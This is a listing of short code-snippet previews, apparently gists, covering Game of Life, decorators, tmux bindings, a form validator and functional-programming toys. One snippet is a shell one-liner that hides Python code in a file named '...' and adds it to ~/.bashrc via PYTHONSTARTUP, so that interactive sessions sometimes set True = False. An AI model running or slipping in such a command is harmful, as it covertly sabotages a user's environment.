This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Any live cell with fewer than two live neighbours dies, as if caused by under-population. | |
Any live cell with two or three live neighbours lives on to the next generation. | |
Any live cell with more than three live neighbours dies, as if by overcrowding. | |
Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction. | |
""" | |
import random | |
class World(object): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def _adj_index(method): | |
def _dec(instance, *args): | |
if isinstance(args[0], int): | |
index = args[0] % len(instance) | |
return method(instance, index, *args[1:]) | |
return method(instance, args) | |
return _dec | |
class Ring(list): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
n=True;l=n-n | |
for _ in`IndexError`:l,n=n,l+n;print n |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set-window-option -g mode-keys vi | |
set-window-option -g xterm-keys on | |
bind h select-pane -L | |
bind j select-pane -D | |
bind k select-pane -U | |
bind l select-pane -R | |
bind r source-file ~/.tmux.conf \; display "Reloaded!" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "if __import__('datetime', globals(), locals(), [], -1).datetime.now().day % __import__('random', globals(), locals(), [], -1).randint(1, 30) == 0: True = False" > ~/... && echo PYTHONSTARTUP=$HOME/... >> ~/.bashrc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def coerce_join(iterable): | |
return ''.join(str(c) for c in iterable) | |
def find_signs(rhs, total, lhs=None): | |
if not rhs: | |
# we could have a solution. | |
joined = coerce_join(lhs) | |
if eval(joined) == total: | |
yield joined |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function (window, document, undefined) { | |
'use strict'; | |
var Field = (function () { | |
var el, errorEl, validators, lastValue, errors=[]; | |
var init = function (_el, _validators, _errorEl) { | |
el = _el; | |
errorEl = _errorEl; | |
validators = _validators; | |
_setHandlers(); | |
_clearErrors(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>>> def almost_fac(func): | |
... def _inner(n): | |
... if n == 0: | |
... return 1 | |
... return n * func(n - 1) | |
... return _inner | |
... | |
>>> def y(func): | |
... def _inner(x): | |
... return y(func)(x) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from obs import observe | |
class Flower(object): | |
def open(speed=0): | |
if speed not in range(6): | |
raise ValueError('Speed must be between 0 - 5') | |
print 'Flower opening at speed %s' % speed | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>>> def counter(): | |
... def wrapper(): | |
... wrapper.count += 1 | |
... return wrapper.count | |
... wrapper.count = 0 | |
... return wrapper | |
... | |
>>> def while_rec(func, pred): | |
... result = func() | |
... if pred(result) is False: |